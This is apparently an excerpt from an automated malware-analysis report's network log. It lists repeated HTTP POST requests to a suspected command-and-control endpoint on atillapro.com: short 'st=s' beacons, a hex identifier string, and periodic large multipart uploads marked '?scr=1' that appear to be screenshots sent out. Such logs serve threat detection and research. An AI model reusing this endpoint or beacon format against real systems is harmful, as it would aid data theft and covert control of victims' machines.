Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5NzE=Host: atillapro.comContent-Length: 98123Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5NzE=Host: atillapro.comContent-Length: 98123Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5NzE=Host: atillapro.comContent-Length: 98123Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5NzE=Host: atillapro.comContent-Length: 98123Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----MTA0MDMzHost: atillapro.comContent-Length: 104185Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5Nzg=Host: atillapro.comContent-Length: 98130Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5Nzg=Host: atillapro.comContent-Length: 98130Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----MTAxMjUyHost: atillapro.comContent-Length: 101404Cache-Control: no-cache
